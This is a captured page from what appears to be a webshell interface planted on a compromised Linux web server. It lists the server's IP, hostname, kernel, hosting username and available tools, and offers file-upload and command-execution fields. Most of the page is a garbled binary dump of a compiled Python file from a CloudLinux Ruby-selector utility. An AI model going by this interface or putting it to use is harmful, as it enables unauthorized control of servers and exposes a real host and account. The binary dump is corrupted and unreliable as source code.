403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.222.24.23
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/clselect/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/clselect/__pycache__/clselectctlruby.cpython-37.pyc
B

��dYJ�@sjddlmZddlmZddlmZddlZddlZddlZddlZddlZddl	Z	ddl
mZddlm
Z
ddlmZdd	lmZdd
lmZddlmZmZddlmZmZmZdd
lmZmZmZddlmZmZdZ dd�Z!d0dd�Z"d1dd�Z#dd�Z$d2dd�Z%d3dd�Z&dd�Z'dd�Z(d d!�Z)d"d#�Z*d$d%�Z+d&d'�Z,d4d(d)�Z-d*d+�Z.d,d-�Z/d.d/�Z0dS)5�)�print_function)�absolute_import)�divisionN)�	iteritems�)�clpassenger)�clselectctl)�utils)�clprint)�ClSelectExcept�BaseClSelectException)�environments�
extensions�interpreters)�userdomains�docroot�CP_NAME)�NoDomain�NotSupported�rubycCs�td�td�td�td�td�td�td�td�td	�td
�td�td�td
�td�td�td�td�td�td�td�td�td�dS)NzB -v | --version VERSION              : Specify alternative versionz/ -u | --user USERNAME                : UsernamezZ      --domain DOMAIN                : Domain (or subdomain); users main domain as defaultzH -l | --list                         : List alternatives for interpreterzB -G | --list-extensions              : List global set of packageszC -K | --list-extensions-version      : List version set of packageszC -s | --user-summary                 : List user summary of webappsz9 -y | --create-webapp                : Create user webappz: -n | --destroy-webapp               : Destroy user webappz] -f | --relocate-webapp              : Change webapp directory (files must be moved manually)zA -F | --transit-webapp               : Change webapp domain/aliasz5 -Z | --restart-webapp               : Restart webappzZ -c | --user-current                 : Show currently selected alternative for user webappzM -b | --set-user-current             : Set alternative as user webapp defaultz[ -e | --enable-user-extensions GEMS  : Install comma-separated list of gems for user webappz] -d | --disable-user-extensions GEMS : Uninstall comma-separated list of gems for user webappzC                                     : Use '-' (minus) for all gemszZ -r | --replace-user-extensions GEMS : Update comma-separated list of gems for user webappzJ -g | --list-user-extensions         : List installed gems for user webappzi -p | --print-summary                : If specified along with setting an alternative prints user summaryz9 -j | --json                         : Print data as JSON)�print�rr�I/opt/alt/python37/lib/python3.7/site-packages/clselect/clselectctlruby.py�usages,rcCsjt||�}|s|}t�|||�}|��sfytjdd�|}Wntk
rZt�|��YnX|�|�|S)N�version)�key)	�_get_prefixr
�Environment�existsr�KeyErrorr�NoSuchAlternativeVersion�create)�user�	directoryr�env_name�prefix�environment�interpreterrrr�_create_environment8s

r(cCsnt||�}|dkr8t�|�}|�|�}|s8t�d|��|d}tj�tj�	tj�	|���}t
�|||�}|S)Nz8No such application (or application not configured) "%s"�binary)rr�summary�getr�NoSuchApplication�os�path�basename�dirnamer
r)r"r#�app_summaryr%�user_summaryr)r$r&rrr�_get_environmentFs


r3cCs&t�||�\}}tj�tjt�|��S)N)	r	�get_abs_relr-r.�joinr
�DEFAULT_PREFIXr�
get_prefix)r"r#�_�rel_dirrrrrSs
rcCsn|dkrt�d��t�|�}t�|�t�|�}t||||�}|��j}t	j
|||t||d�t	�||�dS)NzNot passed version as argument)�doc_root)
r�	WrongDatar�get_user�check_directory�	get_aliasr(r'r)r�	configure�INTERPRETER�restart)r"r#�aliasrr$r:r&r)rrrr!Ys




r!c	Cs"t�|�}t||�}|s*|j|����iSt|���}t||||�}t|���}x6||D]*}y|�	|�WqZt
jk
r�YqZXqZWx6||D]*}y|�|�Wq�t
jk
r�Yq�Xq�Wt
�|�|}	|	d}
|	d}|	d}|��j}
t
j|d�t
j|||
t|
|d�t
�||�dS)NrBr�htaccess)rC)r:)rr<r3�namer'�as_dict�setrr(�extension_uninstallr�ExternalProgramFailed�extension_installrr*r)�_unconfigurer?r@rA)r"r#rr$�old_environment�old_extensions�new_environment�new_extensions�	extensionr1rBr:�
htaccess_pathr)rrr�currentgs2




rQcCs�t�|�}t||�j}t�||�\}}yt�|�Wntk
rHYnXt	�
||�yt	�||�Wntj
k
r|YnXdS)N)rr<r3r%r	r4�shutil�rmtree�OSErrorr�unconfigurerAr�MissingApprootDirectory)r"r#r%�abs_dirr8rrr�destroy�s
rXcCs"t�|�}t||�}|�|�dS)N)rr<r3rI)r"r#rOr&rrr�install�s

rYcCst�|�}t||�}|��S)N)rr<r3r)r"r#r&rrr�list_extensions�s

rZcCs�d|krt�d��t�|�}t�|�t�||�\}}t�||�\}}t�|�}||krft�	d|��||kr|t�d|��||d}	||d}
||d}t
||�j}t�|�}
t�|�}t�|t
j�tj|
��\}}t
j�|d�}t�|t
j�tj|��\}}t
j�|d�}d	|d
}d	|d
}t�||�xPt�t
j�|ddd��D]4}t�|�}||k�rR|�||�}t�||d
��qRWt
j�|��s�t
�||�t||�}t�|||�}|��j}tj|	d�tj|||t ||
d�t�!||�dS)N�/z$You cannot move appication to subdirz(Specified directory already used by '%s'z8No such application (or application not configured) "%s"rCrrB��(�:�*�bin�w)rC)r:)"rr;rr<r=r	r4rr*�WebAppErrorr3rDr7r-r.r5r
r6rR�move�glob�	file_read�replace�
file_writer�renamerrr'r)rJr?r@rA)r"�
old_directory�
new_directory�fmt�old_abs�old_rel�new_abs�new_rel�old_user_summaryrPr:rBr$Z
old_prefixZ
new_prefixZ	_old_envsr8Zold_envsZ	_new_envsZnew_envs�
old_prompt�
new_prompt�activate�old_activate�new_activater%r&r)rrr�relocate�sN









rvcCs:t�|�}t�|�}||kr*t�d|��t�||�dS)Nz8No such application (or application not configured) "%s")rr<rr*rr;rA)r"r#�apps_summaryrrrrA�s


rAcCs�t�|�}i}x�tt�|��D]v\}}|dtkr4qt|||���}|d|d|d|d|dd�||<d|krt|d�dkr|d||d<qW|S)	Nr'�domainrBrDr)rxrBr&r'r�domainsr)	rr<rrr*r@r3�as_deepdict�len)r"�summr#�datar&rrrr*�s
r*c
Cs�t�|�}t�|�}||kr*t�d|��||}|d}|d}t�|�}t||�}	|	��j	}
tj
|||t|
dd|d�tj||||||d�t�
||�dS)Nz8No such application (or application not configured) "%s"rBrT�transit)r:)�old_doc_root�new_doc_root)rr<rr*rr;r>r3r'r)r?r@rcrA)r"r#rBr:rw�old_app_summary�	old_aliasr�	new_aliasr&r)rrrr~�s




r~cCs"t�|�}t||�}|�|�dS)N)rr<r3rG)r"r#rOr&rrr�	uninstall
s

r�cCs"t�|�}t||�}|�|�dS)N)rr<r3�extension_update)r"r#rOr&rrr�updates

r�cCs�yLt�tjdd�dddddddd	d
ddd
dddddddddddg�\}}WnDtjk
r�}z$tj�t|��t�t�d�Wdd}~XYnXd}d}d}d}d}d}d}	|s�t�t�d��x�|D�]v\}
}|
dkr�q�|
dkr�d}q�|
dk�r�d}q�|
dk�rd}q�|
d k�rd
}q�|
d!k�r,d}q�|
d"k�r<d}q�|
d#k�rLd}q�|
d$k�r\d}q�|
d%k�rld}q�|
d&k�r�d'}|}q�|
d(k�r�d
}q�|
d)k�r�d}q�|
d*k�r�d+}|}q�|
d,k�r�d-}|}q�|
d.k�r�|}	q�|
d/k�r�d	}q�|
d0k�r�|}q�|
d1k�r|}q�|
d2k�rd3}q�|
d4k�r,d5}|}q�tj�d6�t�d�q�W|dk�rftj�d7�t�d�|d8k�r�|�s�tj�d9�t�d:�|�rJyt	|�\}}
Wnjt
k
�r�t�|d;d<|d=��t�d�Yn6t
k
�rt�|d;d>td=��t�d�YnX|�s|
}n.||
k�r�t�|d;d?||fd=��t�d�n\|�r�|�s�yt|�}Wn6t
k
�r�t�|d;d>td=��t�d�YnX|d@\}}|dAk�r�|d'k�r�tj�dB�t�dC�n|�r�dDdE�|�dF�D�}�y^d@}d@}i}|d	k�rt����}�n4|d5k�r6t���|�}d}�n|dk�rNt�dG�}�n�|d
k�rdt|�}�n�|dk�r�t||d@|d|	|dH��n�|dk�r�t||d@��n�|d
k�r�t||d@|d|��n~|dk�rd}|�r�|}t||d@|d|dH��nJ|dk�rt||d@��n.|dk�r8t||d@�}�n|dk�rTt||d@|	�n�|dk�rnt||d@�}n�|d@}|dAk�r�t||�}x�|D]�}yd|d'k�r�t|||�n.|d-k�r�t |||�n|d+k�r�t!|||�|�!|dIdJii�|d7}WnJt"t#j$fk
�rB}z$|�!|d;t|�d=�i�|d7}Wdd}~XYnX�q�WWn�t%k
�r�}z$t�|d;t|�d=��t�d�Wdd}~XYnHt&k
�r�}z(t'�(�}t�|d;|d=��t�d�Wdd}~XYnX|�s�|�r�t|�}|�r|�rdK}dL}n\|�rd;}dM}nL|�rH|dLk�rH|�r:t�)|t|��nt�)|i�nt�)||�t�d@�dN�*dOdP�t+|�D��}t�|||d=��t�|�dS)QNrzhi:v:u:lGsynfFZcbe:d:r:gpjK:�helpzinterpreter=zversion=zuser=zdomain=�listzlist-extensionszuser-summaryz
create-webappzdestroy-webappzrelocate-webappztransit-webappzrestart-webappzuser-currentzset-user-currentzenable-user-extensions=zdisable-user-extensions=zreplace-user-extensions=zlist-user-extensionsz
print-summary�jsonzlist-extensions-version=r\�textF)z-iz
--interpreter)z-lz--list)z-yz--create-webapp)z-nz--destroy-webapp)z-fz--relocate-webapp)z-Fz--transit-webapp)z-Zz--restart-webapp)z-cz--user-current)z-bz--set-user-current)z-gz--list-user-extensions)z-ez--enable-user-extensionszenable-user-extensions)z-sz--user-summary)z-jz--json)z-rz--replace-user-extensionszreplace-user-extensions)z-dz--disable-user-extensionszdisable-user-extensions)z-vz	--version)z-Gz--list-extensions)z-uz--userz--domain)z-pz--print-summaryT)z-Kz--list-extensions-versionzlist-extensions-versionzunhandled optionz2ERROR:you must provide option for interpreter ruby)	z
create-webappzdestroy-webappzrelocate-webappztransit-webappzrestart-webappzenable-user-extensionszlist-user-extensionszreplace-user-extensionszdisable-user-extensionszwebapp must be specified��ERRORzNo such domain: "%s")�status�messagez"Ruby selector not supported for %sz%domain %s is not owned by the user %sr�-z/installlation of all extensions is not possible�cSsg|]}|r|�qSrr)�.0�_frrr�
<listcomp>�szmain.<locals>.<listcomp>�,r)r:r��OK�PARTIAL���
c
ss.|]&\}}d||�d|�dd��fVqdS)z%s: %sr�r�r\N)r+)r��k�vrrr�	<genexpr>�szmain.<locals>.<genexpr>),�getopt�sys�argv�GetoptError�stderr�write�strr�exitrrr
�
print_diagrrr�splitr�
ExtensionInfoZlist_extensions_cached�list_extensions_versionr�interpreters_dictr*r!rXrvr~rArQrZrYr�r��
ValueErrorrrHr�	Exception�	traceback�
format_exc�
print_datar5r)�opts�args�err�ext_listrk�
print_summaryr"rx�actionr�o�ar:�user_�domain_listr8�_exts�error�ok�resultr�rBrO�msgr��exit_statusr�rrr�mains�












































$
r�)N)N)NNN)NN)N)1�
__future__rrrr�rdr-rRr�r��future.utilsrr\rrr	�
clselectprintr
�clselectexceptrrZclselectrubyr
rr�clcommon.cpapirrr�clcommon.cpapi.cpapiexceptionsrrr@rr(r3rr!rQrXrYrZrvrAr*r~r�r�r�rrrr�<module>sD




#5


Youez - 2016 - github.com/yon3zu
LinuXploit